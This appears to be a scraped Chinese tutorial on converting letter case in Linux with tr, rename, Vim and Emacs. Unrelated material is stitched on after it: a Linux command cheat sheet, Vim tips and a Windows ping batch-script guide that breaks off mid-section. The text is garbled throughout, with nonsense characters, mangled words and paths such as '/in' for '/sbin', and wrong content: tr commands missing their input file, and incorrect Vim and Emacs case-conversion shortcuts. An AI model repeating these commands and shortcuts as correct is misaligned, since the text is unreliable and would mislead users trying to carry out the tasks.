简单易学!Linux大小写转换技巧详解 (linux大小写转换)

在使用Linux系统的过程中,大小写转换是一个必不可少的操作。有时候需要将一大段文本中的所有单词转换成大写或小写,或者只是需要将一个文件名或路径转换成一个不同的大小写形式。不过,在Linux系统中,大小写转换并不像在其他操作系统中一样自然而然地实现。但是,不要害怕!在本篇文章中,我们将带您亲身学习Linux系统大小写转换的简单实用技巧。

让我们来了解一下大小写转换的几种基本方法。

1. 单词大小写转换

在Linux中,我们可以使用“tr”命令来实现对单词大小写的转换。下面是一些常见的tr命令的用法:

将一个文本文件中的所有小写字母转换成大写字母:

“`

tr “[:lower:]” “[:upper:]” output.txt

“`

这个命令将在标准输出中生成命令的结果。你可以将输出保存到一个文件中,这样你就可以在需要的时候随时使用它。这个命令的输出如下:

“`

THIS IS AN EXAMPLE FILE. IT CONTNS SOME TEXT THAT WILL BE TRANSFORMED INTO UPPERCASE LETTERS.

“`

同样地,将一个文本文件中的所有大写字母转换成小写字母:

“`

tr “[:upper:]” “[:lower:]” output.txt

“`

这个命令的输出如下:

“`

this is an example file. it contns some text that will be transformed into lowercase letters.

“`

2. 文件名或路径大小写转换

Linux系统中区分大小写,因此对于文件名或路径的大小写,会产生不同的结果。如果您需要将文件名或路径转换成另一种大小写形式,您可以使用以下命令:

将文件名或路径中的所有小写字母转换成大写字母:

“`

rename ‘y/a-z/A-Z/’ *

“`

执行这个命令之后,你会发现所有文件名或路径中的小写字母都变成了大写字母。

按照相同的方法,我们可以将文件名或路径中的所有大写字母转换成小写字母:

“`

rename ‘y/A-Z/a-z/’ *

“`

这会将所有文件名或路径中的大写字母转换成小写字母。

3. 文本编辑器中的单词大小写转换

在Linux中使用文本编辑器时,您可能需要将选定的文本明确地转换成大写或小写。下面是一些常见的方法:

在Vim编辑器中选中需要转换的单词,然后按Shift + U可以将其转换成大写;按Shift + L可以将其转换成小写。如果需要将一个单词的首字母转换成大写,可以按Shift + U,再按~。如果需要反转整个单词的大小写,可以按Shift + ~。

在Emacs编辑器中,按Alt + Shift + U可以将所选文本转换成大写;按Alt + Shift + L可以将所选文本转换成小写。如果需要将所选文本的首字母转换成大写,可以使用Alt + Shift + C;如果需要反转所选文本的大小写,可以按ESC + ~。

无论您使用的是哪种编辑器,掌握这些快捷键可以帮助您快速高效地进行单词大小写转换。

综上所述,Linux系统中的大小写转换方法可能不同于其他操作系统中的方法,但它们同样方便快捷和实用。使用Linux系统时,不要害怕大小写转换,因为通过学习这些技巧,您将能够像一个高手一样精通Linux系统管理,并且发挥出更大的作用。

相关问题拓展阅读:

Linux 常用命令(要求全而精)

自己进去看历滑段看肢誉让雹吧,貌似自己可以下载下来

1、linux分区

–在linux里面所有的设备、任何东西,在linux看来都是文件。

–文件在它看来,有两种形式:

之一种是字符型(键盘输入、打印机);

第二种是二进制型(硬盘、光驱、U盘滑让森)

–linux中所有硬件

–手动分区

–A、至少有两个分区

/ 根分区

SWAP 交换分区(物理内存大小的两倍)

–B、个人桌面分区

/

/boot 128MB is enough

/usr

SWAP

/tmp(用于光盘刻录)

2、linux目录说明

–/dev/xxyN

–xx (分区所在设备类型:hd–IDE硬盘 sd–SCSI硬盘)

–y (标明分区所在设备

例如:/dev/hda 之一个IDE硬盘 或 /dev/hdb 第二个IDE硬盘 或 /dev/sdb 第二个SCSI硬盘)

–N (数字代表分区:1-4–主分区或扩展分区;逻辑分区从5开始!

例如:/dev/hda3 之一个IDE硬盘上的第三个主分区或扩展分区

/dev/sdb6 第二个SCSI硬盘上的第二个逻辑分区)

3、linux目录结构

/ 根目录,更高级别

/bin 系统基本命令存放目录(/usr/bin)

/boot linux的内核及引导系统程序文件存放目录(如:vmlinuz、initrd.img)

一般情况下,GRUB或LILO系统引导管理也位于这个目录

/dev 设备文件存储目录,如声卡、光驱…

/ect 存放系统设置文件(如用户账号密码、服务器配置文件等)

/home 普通用户家目录,默认存放目录

/lib 库文件存放目录

/lost+found 在ext2或ext3文件系统中,当系统以外崩溃或机器意外关机,而产生一些文件碎片放在这里。

当系统启动的过程中,fsck工具会检查这里,并修复已经损坏的文件系统。

有事喜用发生问题,有很多的文件被移到这个目录中,可能会用手工的方式来修复,或者移文件到原来的位置上。

/media 即插即用型存储设备的挂载点自动在这个目录下创建。

如USB盘系统自动挂在后,会在这个目录下产生一个目录;

类似cdrom的目录

/mnt 存放挂载存储设备的挂载目录,如cdrom等目录

/opt 表示可选的意思,有些软件包也会被安装在此,也就是自定义软件包,

比如OpenOffice,或者一些我们自己编译的软件包,也可安装此处。

/proc 操作系统运行时,进程(正在运行的程序)信息及内核信息(比如CPU、硬盘分区、内存信息等)存放在此。

/proc目录是伪装的文件系统proc的挂载目录,proc并不是真正的文件系统

/root linux超级权限用户root的家目录

/in 大多是涉及系统管理的命令的存放,只有超级权限用户root才可执行命令存放,普通用户无权限执行此目录下的命令

与 /usr/in; /usr/X11R6/in; usr/local/in 目录相似

(in,只有root权限才能执行)

/tmp 临时文件目录,有时用户滑首运行程序的时候,会产生临时文件。

/var/tmp目录和此目录相似

/usr 系统存放程序的目录,如命令、帮助文件等。这个目录下有很多的文件和目录。

大部分Linux发行版提供的软件包都安装在此,涉及服务器的配置文件就安装在/ect中。

/usr/share/fonts 字体目录

/usr/share/man 或 /usr/share/doc 帮助目录

/usr/bin 或 /usr/local/bin 或 /usr/X11R6/bin 普通信亩用户可执行文件目录

/usr/in 或 /usr/local/in 或 /usr/X11R6/in 超级权限用户root可执行命令存放目录

/usr/include 程序头文件存放目录

/var (vary)此目录经常变动

/var/log 用来存放系统日志

/var/www 用来定义Apache服务器站点存放

/var/lib 用来存放一些库文件,如MySQL的,以及MySQL数据库的存放地。

4、基本命令

–查看帮助 –help –?

–查看详细帮助 man

–登录 login

–退出窗口 exit

–关机 shutdown

–重启 reboot

–初始化 init (run level -/etc/inittab),0-6看第六部分的g

–进入根目录 cd /

–回上层目录 cd ..

–相对路径 cd dev

–绝对路径 cd /dev

–查用户名 whoami

–查当前目录 pwd

–列出当前目录内容 ls

l(树详细显示目录内容)

m(横列显示目录内容,是屏幕长度显示)

a(列出全部文件,包括隐藏文件)

S(以文档大小排序)

–创建目录 mkdir dname

–删除目录 rmdir dname

rm -r-(递归删除该目录下所有内容,询问每个准备删除的文件)

rm -rf ***-(强制删除该目录下所有内容,不询问)

–创建空白文件 touch

(ps:从技术的角度来讲,linux的文件后缀名没有任何意义)

–复制 cp

cp -r **1 **2 (复制1到2中)

–移动 mv

mv -t **1 **2 (把2移动到1中)

–编辑文本 vi

–查看文本 cat 由之一行开始显示文本内容

tac 从最后一行显示,可以看出 tac 是 cat 的倒着写

more 一页一页的显示文档内容

less 与 more 类似,可以往前翻页

head 只看头几行

N(数字,可根据行数显示)

tail 只看后几行

N(数字,可根据行数显示)

nl 显示的时候,顺序输出行号

od 以二进制位的方式读取档案内容

–查找文本 find

如查找rc.local find /etc -name *.local

–查找命令信息及其位置 whereis 命令

如 whereis ls

–查看环境变量 echo $SHELL

如 echo $PATH (分大小写:分隔符是:,windows是echo %path%;)

–链接 ln

如 ln joe.txt a (硬链接,如同复制一个新文件,joe.txt删除后,a还存在)

a是链接的名称,a和joe.txt同步,然后a的内容和joe.txt一样

joe.txt改变,a也跟着变

如 ln -s joe.txt b (软链接,如同创建一个快捷方式,joe.txt删除后,b不存在)

–wc 统计指定文本文件的行数、字数、字符数

–grep(很常用) 在指定的文本文件中查找指定的字符串

grep 字符串 文件名

–col 见管道..

—-信息显示命令—-

–date 显示和设置日期

–stat 显示指定文件的相关信息

–who、w 显示在线登录用户

–whoami 显示用户自己的身份

–id显示当前用户的id信息

–hostname 显示主机名称

–uname 显示操作系统信息

–dmesg 显示系统启动信息

–du显示指定的文件(目录)已使用的磁盘空间

–df显示文件系统磁盘空间的使用情况

–free 显示当前内存和交换空间的使用情况

–fdisk -l 显示磁盘信息

–locale 显示当前语言环境

5、挂载点(mount 设备目录 挂载目录)

–访问设备 (那设备当成一个文件,和另外一个文件夹进行绑定)

–例如挂载光驱:步骤 ———–OK!直接访问光驱内容

–卸载挂载设备(umount /dev/cdrom)–注意必须先退出挂载目录,否则出现”device is busy”错误.

6、startup-shutdown(linux启动流程)

–A、boot sequence(important) linux启动过程

a. load bios(hardware information)

b. read MBR’s config to find out the OS

(MBR–Master Boot Record,硬盘之一个物理扇区,柱面0、磁头0、扇区1,包含主引导程序和硬盘分区表)

c. load the kernel of the OS

(加载为kernel核心的OS)

d. init process starts…

(启动linux之一个进程init)

e. execute /etc/rc.d/sysinit

(执行系统最重要的配置文件,后台启用进程)

(rc.d–run command)

f. start other modules(stc/modules.conf)

(开启各种模块,如内存管理模块、硬盘管理模块)

g. execute the run level scripts

(系统启动是分层次的,根据情况执行,每个层次之间没关系)

0 – 系统停机状态

1 – 单用户工作状态 root

2 – 多用户状态(没有NFS)

3 – 多用户状态(有NFS)

NFS – Network File System 网络文件系统,联网系统

4 – 系统未使用,留给用户

5 – 图形界面

6 – 系统正常关闭并重新启动

如:cd /etc — 有rc0.d、rc1.d、rc2.d、rc3.d、rc4.d、rc5.d等多个文件夹,保存着各个层次执行的进程文件

h. execute /etc/rc.d/rc.local (重要)

(保存其它进程脚本,如tomcat自动启动,要修改此配置文件)

i. execute /bin/login

(登录界面)

j. shell started…

7、vi 文本编辑器

–两种模式:命令模式 编辑模式

–vi

(切换到编辑模式)

a append-光标后添加

i insert-光标前插入

o open-另起一行编辑

esc (切换回命令模式)

:w 存盘

:wq 存盘退出

:q 退出

:q! 不存盘退出

dd 删除其中一行

dw 删除一个单词

(sudo gedit 文本 常用linux下的文本编辑器,比vi好用)

8、用户设置

–切换用户(switch user) su username

小技巧:直接exit切换

–添加用户 useradd username (分配到某个用户组)

(创建后会自动在/home目录下创建该新用户的文件夹,如/home/username)

–设置密码 passwd username

–cd /etc

–查看用户信息 more password

如新增的用户信息:username:x:500:500::/home/username:/bin/bash

之一个数字,代表用户组,当添加用户没有指定用户组时,系统会创建一个和用户ID一样的组ID;

第二个数字:用户ID号;

用户的目录是/home/username;

用户的SHELL是/bin/bash

(命令—>SHELL—>kenrel内核)

SHELL有多种类型,如csh、bash(常用)、bsh、ksh、sh(最原始)

–添加用户组 groupadd groupname

–查看用户组信息 more group

–删除用户组 groupdel groupname

–修改用户 usermod

–删除用户 userdel username

然后把/home的文件夹删除了 rm -rf 文件夹

9、权限file privilege

–linux把文件的权限分成四种:r:read w:write x:execute -:none

如:-rw-r–r–

lrwxrwxrwx

drwxr-xr-x

drwxr-xr-x

之一个数字’-‘代表文件,其余是文件夹,后9位分为3组,每组有四种权限设置rwx-

之一位表示文件所有者

第二位表示和所有者在同一用户组的用户

第三位表示不在同一用户组的用户权限

–设置权限 (随意应用,灵活组合!)

1、普通用法

–添加权限

如:-rw-r–r– —> -rwxr-xr-x

–删除权限

如:-rwxr-xr-x —> -rw-r–r–

–给自己添加权限

如此类推,组–g,其他人–o

如:chmod u+x -rw-r–r– —> -rwxr–r–

chmod g+x -rw-r–r– —> -rw-r-xr–

chmod o+x -rw-r–r– —> -rw-r–r-x

2、专业用法 chmod 755/777

–原理,八进制转二进制

如755,, rwx r-x r-x

,, rwx rwx rwx

–修改所有者权限 chown (change owner)

如:chown 原来文件 file1 的所有者是 root,改成joe的

chown joe file1

10、管道(把上一个命令执行的结果交给下一个命令)

–使用方法:

命令1|命令2|命令3……|命令n

–使用举例

$ls -Rl /etc | more

(如 ls -Rl /etc (在控制台模式下,无法返回前面过去的信息),因此需要管道执行该查询,实现分页的工作, ls -Rl /etc | more)

$cat /etc/passwd | wc

(显示文件结果,再数数有多少行)

$cat /etc/passwd | grep lrj

(显示文件结果,再查找包含lrj的行)

#dmesg | grep eth0

(显示系统启动的信息,再查找包含eth0的行–真正含义,检查网卡执行信息是否正常)

$man bash | col -b > bash.txt

语  法:col

补充说明:在许多UNIX说明文件里,都有RLF控制字符。当我们运用shell特殊字符”>”和”>>”,把说明文件的内容输出成纯文本文件时,控制字符会变成乱码,col指令则能有效滤除这些控制字符。

参  数:

b 过滤掉所有的控制字符,包括RLF和HRLF。

f 滤除RLF字符,但允许将HRLF字符呈现出来。

x 以多个空格字符来表示跳格字符。

l 预设的内存缓冲区有128列,您可以自行指定缓冲区的大小。

$ls -l | grep “^d”

(用正则表达式筛选出目录列表中 头字母为’d’ 的内容–目录)(^是正则表达式开头部分)

$ls -l * | grep “^-” | wc -l

(列出目录列表中 头字符为’-‘的内容–文件,并统计显示的行数wc -l)

11、其他命令

–wall(warning all) 通知所有人

a.命令替换

如 wall `date`、 cd ‘pwd’、mkbootdisk $(uname -r)

b.重定向

重定向输出:

如 ls > cmd.txt ,把文件写到cmd.txt,不输出在控制台

ls >> cmd.txt ,把文件追加写到cmd.txt

重定向输入:

如 wall > cmd.txt,把文本内容发给所有人

12、修改系统的默认系统级别

常用3和5

3 – 多用户状态(有NFS)

NFS – Network File System 网络文件系统,联网系统

5 – 图形界面

PS.设置用户权限: sudo chmod 777 目录

4表示读,2表示写,1表示执行.

之一位表示文件所有者,第二位表示和所有者在同一用户组的用户,第三位表示不在同一用户组的用户权限.

755表示文件所有者可读写,执行.

第二位5表示与所有者在同一用户组的可读,可执行,不可写.

第三位5表示其它组可读,可执行,不可写. 转载于Joewalker在本人空间也有详细说明

1)文件操作

vi FileName 打开文件 FileName,并将光标置于之一行首。

vi +n FileName 打开文件 FileName,并将光标置于第 n 行首。

vi + FileName 打开文件 FileName,并将光标置于最后一行。

vi + /pattern File 打开文件 File,并将光标置于其中之一个于 pattern 匹配的字符串处。

vi –r FileName 在上次正用 vi 编辑 FileName 发生系统崩溃后,恢复FileName。

vi File1 … Filen 打开多个文件,依次对之进行编辑。

:%!xxd 按十六进制查看当前文件

:%!xxd -r 从十六进制返回正常模式

:n1,n2 co n3 将 n1 行到 n2 行之间的内容拷贝到第 n3 行下。

:n1,n2 m m3 将 n1 行到 n2 行之间的内容移至第 n3 行下。

:n1,n2 d 将 n1 行到 n2 行之间的内容删除。

:n1,n2 w filename 将 n1 行到 n2 行之间的内容保存到文件 filename 中

:n1,n2 w! Command 将文件中n1行到n2行的内容作为 Command的输入并执行之,局渣派

若不指定 n1、n2,则将整个文件桐贺内容作为 Command 的输入。

:r! Command 将命令 Command 的输出结果放到当前行。

:nr 文件> 把文件>插入到第n行

:so 文件> 读取文件>,再执行文件里面的命令梁乱(文件中的命令应该都是一些ex命令)

:l1,l2w 文件> 把第l1和第l2行之间的文本写到文件>中去

:w >> 文件> 添加到文件>末尾. 也可以使用行号

:e! 重新编辑当前文件,忽略所有的修改

·(、、)对应显示

% 显示当前(、 、)的对应项

) :光标移至句尾

( :光标移至句首

}:光标移至段落开头

{:光标移至段落结尾

·(、、)内数据选择

daB 删除{}及其内的内容 (在非v可视模式下)

diB 删除{}中的内容

ab 选择()中的内容

ib 选择()中的内容( 不含() )

aB 选择{}中的内容

iB 选择{}中的内容( 不含{} )

·语法提示与自动补齐

★ 插入模式下的单词自动完成

★ 行自动完成(超级有用)

·设置ctags

#ctags -f /usr/share/vim/vim63/funcs.tags -R /opt/j2sdk/src /usr/src/kernels/2.6.9-5.EL-i686

^p 自动补齐上下文已有相近项

^n 自动补齐~/.tags中的相近函数

^

按^t退出函数

:pta 函数名 预览窗口快速打开相应函数所在文件,并将光标定位在对应函数的开头

K 显示光标下的C函数的man说明手册

·变量定位

gd 转到光标下局部变量的定义处

Gd 转到光标下全局变量的定义处

·编译选项

:cn 命令会把你带到下一个出错地点,而不考虑它在什么文件里。

:cc 命令会向你显示当前错误的编译器输出信息;

:cl 会生成一个列有项目所有错误的列表,以供浏览这些错误

3>光标移动

·字符

h 光标左移一个字符。

l 光标右移一个字符。

·字

w 或 W 光标右移一个字至字首。

B 或 b 光标左移一个字至字首。

E 或 e 光标右移一个字至字尾。

·句} 光标移至句尾。

( 光标移至句首。

·段) 光标移至段落开头。

{ 光标移至段落结尾。

·行k 或 Ctrl+p 光标上移一行。

j 或 Ctrl+n 光标下移一行。

Enter 光标下移一行。

nG 光标移至第 n 行首。

n+ 光标下移 n 行。

n- 光标上移 n 行。

n$ 光标移至第 n 行尾。

0 光标移至当前行首。

$ 光标移至当前行尾。

·屏幕

H 光标移至屏幕顶行。

M 光标移至屏幕中间行。

L 光标移至屏幕最后行。

Ctrl+u 向文件首翻半屏。

Ctrl+d 向文件尾翻半屏。

Ctrl+f 向文件尾翻一屏。

Ctrl+b 向文件首翻一屏。

nz 将第 n 行滚至屏幕顶部。不指定 n 时将当前行滚至屏幕顶。

4}插入

# 在文件中插入行号(不是显示行号,是插入!)

★:g/^/exec “s/^/”.strpart(line(“.”).” “, 0, 4)

·光标

i 在光标前插入。

a 在光标后插入。

·行

I 在当前行首插入。

A 在当前行尾插入。

o 在当前行之下一新行插入。

O 在当前行之上新开一行插入。

5)替换

r 替换当前字符。

R 替换当前字符及其后的字符,直至按 ESC 键。

s 从当前光标位置处开始,以输入的文本代替指定数目的字符。

S 删除指定数目的行,并以所输入的文本代替。

6)修改

ncw 或 nCW 修改指定数目的字符。

nCC 修改指定数目的行。

:r filename 将文件 filename 插入在当前行之下

7)查找替换

/ 把狭义单词 写到 搜索命令行

/ 把广义单词 写到 搜索命令行

:g/str/s/str1/str2/g

之一个g表示对每一个包括s1的行都进行替换,

第二个g表示对每一行的所有进行替换

包括str的行所有的str1都用str2替换

:%s/f $/for$/g 将每一行尾部的“f ”(f键和空格键)替换为for

:%s/^/mv /g 在每一行的头部添加“mv ”(mv键和空格键)

:s/fred/a/g 替换fred成register a中的内容,呵呵

:g/显示含或的行

# 替换一个visual区域

# 选择一个区域,然后输入 :s/Emacs/Vim/ 等等,vim会自动进入:模式

:’s/Emacs/Vim/g 前面的’是vim自动添加的

# 在多个文档中搜索

:bufdo /searchstr

:argdo /searchstr

复制与剪切

xp 交换前后两个字符的位置

ddp 上下两行的位置交换

:g/fred/t$ 拷贝行,从fred到文件末尾(EOF)

9)窗口操作

:vne

:sp

:S

:new

:^w + ^r 交换两个窗口的位置

^w = 窗口等宽

:res -n 窗口高度减小n

:res +n 窗口高度增大n

:vert res -n

:vert res +n

10)DOS格式文本转成Unix格式文本

:1,$s/^M//g

11)书签

在阅读和编写大的程序文件时,利用标记(书签)功能定位是十分有帮助的。

将光标移到想做标记的位置。假如做一个名为“debug1”的标记,那么用户可在命令模式下输入做标记的命令“mdebug1”,然后敲入回车键,一个名为“debug1”的标记就做好了。

接下来用户可以随意将光标移到其它的位置,当在命令模式下输入“`debug1”后,就能快速回到“debug1”的标记所在行的行首。

馨竹:13

12)删除操作

:%s/r//g 删除DOS方式的回车^M

:%s= *$== 删除行尾空白

:%s/^(.*)n1/1$/ 删除重复行

:%s/^.pdf/new.pdf/ 只是删除之一个pdf

:%s/// 又是删除多行注释(咦?为什么要说「又」呢?)

:g/^s*$/d 删除所有空行

:g!/^dd/d 删除不含字符串’dd’的行

:v/^dd/d 同上 (译释:v == g!,就是不匹配!)

:g/str1/,/str2/d 删除所有之一个含str1到之一个含str2之间的行

:v/./.,/./-1join 压缩空行

:g/^$/,/./-j 压缩空行

:s/p1/p2/g:将当前行中所有p1均用p2替代

:n1,n2s/p1/p2/g:将第n1至n2行中所有p1均用p2替代

:g/p1/s//p2/g:将文件中所有p1均用p2替换

ndw 或 ndW 删除光标处开始及其后的 n-1 个字符。

d0 删至行首。

d$ 删至行尾。

ndd 删除当前行及其后 n-1 行。

x 或 X 删除一个字符。

Ctrl+u 删除输入方式下所输入的文本。

^R 恢复u的操作

J 把下一行合并到当前行尾

V 选择一行

^V 按下^V后即可进行矩形的选择了

aw 选择单词

iw 内部单词(无空格)

as 选择句子

is 选择句子(无空格)

ap 选择段落

ip 选择段落(无空格)

D 删除到行尾

x,y 删除与复制包含高亮区

dl 删除当前字符(与x命令功能相同)

d0 删除到某一行的开始位置

d^ 删除到某一行的之一个字符位置(不包括空格或TAB字符)

dw 删除到某个单词的结尾位置

d3w 删除到第三个单词的结尾位置

db 删除到某个单词的开始位置

dW 删除到某个以空格作为分隔符的单词的结尾位置

dB 删除到某个以空格作为分隔符的单词的开始位置

d7B 删除到前面7个以空格作为分隔符的单词的开始位置

d) 删除到某个语句的结尾位置

d4) 删除到第四个语句的结尾位置

d( 删除到某个语句的开始位置

d) 删除到某个段落的结尾位置

d{ 删除到某个段落的开始位置

d7{ 删除到当前段落起始位置之前的第7个段落位置

dd 删除当前行

d/text 删除从文本中出现“text”中所指定字样的位置,

一直向前直到下一个该字样所出现的位置(但不包括该字样)之间的内容

dfc 删除从文本中出现字符“c”的位置,一直向前直到下一个该字符所出现的位置(包括该字符)之间的内容

dtc 删除当前行直到下一个字符“c”所出现位置之间的内容

D 删除到某一行的结尾

d$ 删除到某一行的结尾

5dd 删除从当前行所开始的5行内容

dL 删除直到屏幕上最后一行的内容

dH 删除直到屏幕上之一行的内容

dG 删除直到工作缓存区结尾的内容

d1G 删除直到工作缓存区开始的内容

修改命令操作

r 更改当前字符

cw 修改到某个单词的结尾位置

c3w 修改到第三个单词的结尾位置

cb 修改到某个单词的开始位置

cW 修改到某个以空格作为分隔符的单词的结尾位置

cB 修改到某个以空格作为分隔符的单词的开始位置

c7B 修改到前面7个以空格作为分隔符的单词的开始位置

c0 修改到某行的结尾位置

c} 修改到某个语句的结尾位置

c4} 修改到第四个语句的结尾位置

c( 修改到某个语句的开始位置

c) 修改到某个段落的结尾位置

c{ 修改到某个段落的开始位置

c7{ 修改到当前段落起始位置之前的第7个段落位置

ctc 修改当前行直到下一个字符c所出现位置之间的内容

C 修改到某一行的结尾

cc 修改当前行

5cc 修改从当前行所开始的5行内容

. 重复上一次修改!

13}Set 选项设置

set all 列出所有选项设置情况。

set term 设置终端类型。

set ignorecase 在搜索中忽略大小写。

set list 显示制表位(^I)和行尾标志($)。

set number 显示行号。

set showmode 示用户处在什么模式下

set report 显示由面向行的命令修改国的行数目。

set terse 显示简短的警告信息。

set warn 在转到别的文件时,若没有保存当前文件则显示 No write 信息。

set autowrite 在“:n”和“:!”命令之前都自动保存文件

set nomagic 允许在搜索模式中,使用前面不带\的特殊字符。

set nowrapscan 禁止 vi 在搜索到达文件两端时,又从另一端开始。

set mesg 允许 vi 显示其他用户用 write 写到自己终端上的信息。

autoindent (ai) noai 使新行自动缩进,和上(下)行的位置对齐

autoprint (ap) ap 每条命令之后都显示出修改之处

autowrite (aw) noaw 在:n,:!命令之前都自动保存文件

beautify (bf) nobf 在输入的时候忽略所有的控制字符(除了制表键(tab),换行(newline),进纸(formfeed))

directory= (dir=) /tmp 存放缓冲区的目录名

edcompatible noedcompatible 在替换的时候使用类ed的用法

errorbells (eb) errorbells 出错的时候响铃

exrc (ex) noexrc 允许在主目录(home)外面之外放.exrc文件

hardtabs= (ht=) 8 设置硬制表的边界

ignore case (ic) noic 正规式里忽略大小写

lisp nolisp 打开lisp模式

list nolist 显示所有的制表键和行的结尾

magic agic 可以使用更多的正规表达式

mesg mesg 允许向终端发送消息

number (nu) nonumber 显示行号

open open 允许开放和可视化

optimize (opt) optimize 优化吞吐量,打印时不发回车

paragraphs= (para=) IPLPPPQPPLIbp 设置{ & }的分界符

prompt prompt 命令模式下的输入给出:的提示符

readonly (ro) noro 除非用!号否则不准保存文件

redraw noredraw 当编辑的时候重绘屏幕

remap remap 允许宏指向其他的宏

report= 5 如果影响的行数>这个数的话就报告

scroll 1/2 window 下卷屏幕时滚动屏幕的数目, 同样这也是z命令输出的行数(z 输出2倍滚屏的大小)

sections= SHNHH HU 定义节的末尾(当使用命令> 时)

shell= (sh=) /bin/sh 缺省的SHELL,如果设置了环境变量SHELL的话,就使用变量

shiftwidth= (sw=) 8 当使用移动(shift)命令时移动的字符数

showmatch () no 显示{, }, (, ), 的匹配情况

showmode noshowmode 显示你处在什么模式下面

slowopen (slow) 插入之后不要立刻更新显示

tabstop= (ts=) 8 设置制表停止位(tabstop)的长度

taglength= (tl=) 0 重要标记的字符个数(0表示所有的字符)

tags= tag, /usr/lib/tags 定义包含标记的文件路径

term= 设置终端类型

terse noterse 显示简短的错误信息

timeout (to) timeout 一秒钟后键盘映射超时

ttytype= 设置终端类型

warn warn 显示”No write since last change”信息

window= (w=) 可视模式下窗口的行数

wrapmargin= (wm=) 0 右边距,大于0的话最右边的单词将折行,留出n个空白位置

wrapscan (ws) ws 查找到文件尾后再重头开始

writeany (wa) nowa 可以保存到任意一个文件去

14}特殊字符

^ 匹配字符串位于行首。

$ 匹配字符串位于行尾。

. 用在模式串中,表示任何单个字符。

在命令模式下,重复上次的命令。

* 在模式串中,表示其前字符可出现任意多次。

用在模式串中,表示指定方位内字符,其中可用-表示一个字

符范围,用^表示不在某个范围内的字符。

ESC 从插入状态转换到命令状态

^

15>大小写转换

guu 行小写

gUU 行大写

g~~ 行翻转(当然指大小写啦)

guw 字小写(狭义字) 译注:建议对比iw

gUw 字大写(狭义字)

g~w 字翻转(狭义字)

vEU 字大写(广义字)

vE~ 字翻转(广义字)

ggguG 把整个文章全部小写(ft!bt!)

16) 跳转足迹’. 跳到最后修改的那一行 (超级有用)(ft,怎么又是这个评价)

`. 不仅跳到最后修改的那一行,还要定位到修改点

依次沿着你的跳转记录向回跳 (从最近的一次开始)

依次沿着你的跳转记录向前跳

:ju(mps) 列出你跳转的足迹

17)命令历史

:history 列出历史命令记录

:his c 命令行命令历史

:his s 搜索命令历史

q/ 搜索命令历史的窗口

q 命令行命令历史的窗口

: 历史命令记录的窗口

18>寄存器

# 列出寄存器(Registers)

:reg 显示所有当前的registers

“1p 表示引用register,1表示一个名字叫做1的register,p就是粘贴(paste)命令

译释:

“也用来定义register

先输入 “,表示定义register

然后输入名字,如0~9,a~z

然后执行删除或复制命令,如dd或y,

或者是visual模式下的d(删除选中的部分)或y(复制选中的部分)

则被删除或复制的部分就被存入了这个命名的register

观察:一个特殊的register, “” ,里面存储了一个匿名的删除/复制

在你执行dd或y的时候,被作用的部分被存到了””中

19}命令行

“ayy@a 把当前行作为一个Vim命令来执行

译释:”ayy 是定义当前行到register a,然后@a是执行register a中存储的指令

10yy copy 当前行以下10行

11} 排序

:%!sort -u 使用sort程序排序整个文件(用结果重写文件)

!1) sort -u 排序当前段落 (只能在normal模式下使用!!)

:.,+5!sort 排序当前行及以下5行

20) 列操作

:%s= +$=&&= 复制最后一列

:%s= f+$=&&= 一样的功能

:%s= S+$=&& ft,还是一样

:s/(.*).*)/2″1/ 颠倒用:分割的两个字段

:%s(w+s+))str1:1str2: 处理列,替换所有在第三列中的str1

:%sw+)(.*s+)(w+)$:321: 交换之一列和最后一列 (共4列)

·.vimrc

” Use Vim settings, rather then Vi settings (much better!).

set nocompatible

“c风格的缩进

:set expandtab “不使用tab只使用空格

:set cindent shiftwidth=4

“自动缩进

:set ai

“语法

“:set filetype=java

:set syntax=java

“键入)、> 、},显示(、

:set showmatch

“手工定义折叠

:set foldmethod=manual

“标签文件位置

set tags=/usr/share/vim/vim63/funcs.tags

“在插入模式下通过按N自动地将任何类、方法或者字段名补齐

set complete+=k

” 不要用声音烦我!

set visualbell

“历史

:set history=50

“显示行列位置

:set ruler

“设置字符编码

set fileencodings=gb2312

“set encoding=euc-cn

“设置ruler

set ruler

“显示当前命令

set showcmd

“incsearch

set incsearch

” allow backspacing over everything in insert mode

set backspace=indent,eol,start

“自动检测文件类型

:filetype on

ping的详细解析,应用方法,注意方面……!!!!!

Ping高级用法

一.基础级:局域网ping命令用法

1.改变ping的基本设置

ping命令缺省要重复4次,等待时间也比较长,这用于广域网比较合适,

在局域网判断一个ip是否存在,一般只要ping 1次足够,而且timeout时间

完全可以在100ms以内。

我在自己的PC上建立一个批处理pin.bat代替缺省的ping设置:

@rem pin.bat Createdby Bankin

@ping -n 1 -l 16 -w 100 %1 %2 %3 %4 %5

这命令比缺省的ping快很多,后面加%1等是为了接受命令行参数,这是为了

下面的扩展用法准备的。

2.单个网段内的懒人ping

如果你象我一样懒,可以把自己局域网的网络号也写死在批处理文件p.bat里:

@rem p.bat Createdby Bankin

call pin 192.168.1.%1 %2 %3 %4 %5

比如你的mail服务器是192.168.1.2,那么只要输 p 2 即可。

如果你有多个网段,可以在dos环境变量里设一下子亩游网号。

3.游戏玩家的终极懒人ping

如果你的internet 网络连接需要经常检查,可以做一个批处理文件,再把它的

快捷方式放族耐顷在桌面上,定义一个快捷键。这样你在做任何工作时,随时可以兆陆看

一下网络是否通,只要敲一个组合键,而不是要打开dos窗口,输好几条命令,

再关掉此窗口。(当你打网络游戏中突然网络断掉,这时候你需要最快速度确定

网关是否能ping到)

这里要用一个技巧,就是dos命令返回值 %ERRORLEVEL%,当dos命令执行成功时,一般来说环境变量%ERRORLEVEL%会赋值0,失败则为1,我们利用这个方法,让脚本自己逐级查找网络连接问题。

@rem pinggw.bat Createdby Bankin

@echo off

ping -n 1 192.168.1.1 |find “Reply”

rem 如果这一步成功说明到本地网关的连接没有问题。

if %ERRORLEVEL%==1 goto end

ping -n 1 202.96.199.133 |find “Reply”

rem 这是上海电信局的DNS,如果这一步成功说明到本地ISP的连接没有问题。

if %ERRORLEVEL%==1 goto end

ping -n 1

www.163.com

|find “Reply”

rem 如果这一步成功说明本地ISP和internet连接没有问题,而且DNS没有问题。

:end

rem pause

sleep 2

exit

sleep 2 停下2秒钟让你看清楚,然后自己exit退出,不要麻烦你关窗口。

注意:sleep是windows2023 资源包的扩展命令,如果没有装就用pause代替吧。

二. 网络管理员常用ping命令技巧

1.入门级:网络连接监视日志

我在一个项目里碰到交换机连接不稳定的情况,每天会随机中断几分钟,

为了捕捉这个问题,做一个带时间显示的批处理文件pingtime.bat:

@rem pingtime.bat Createdby Bankin

@echo off

echo “Begin-”

rem time >pingtime.log

goto begin

2.中级:搜索当前网段内的所有活动ip

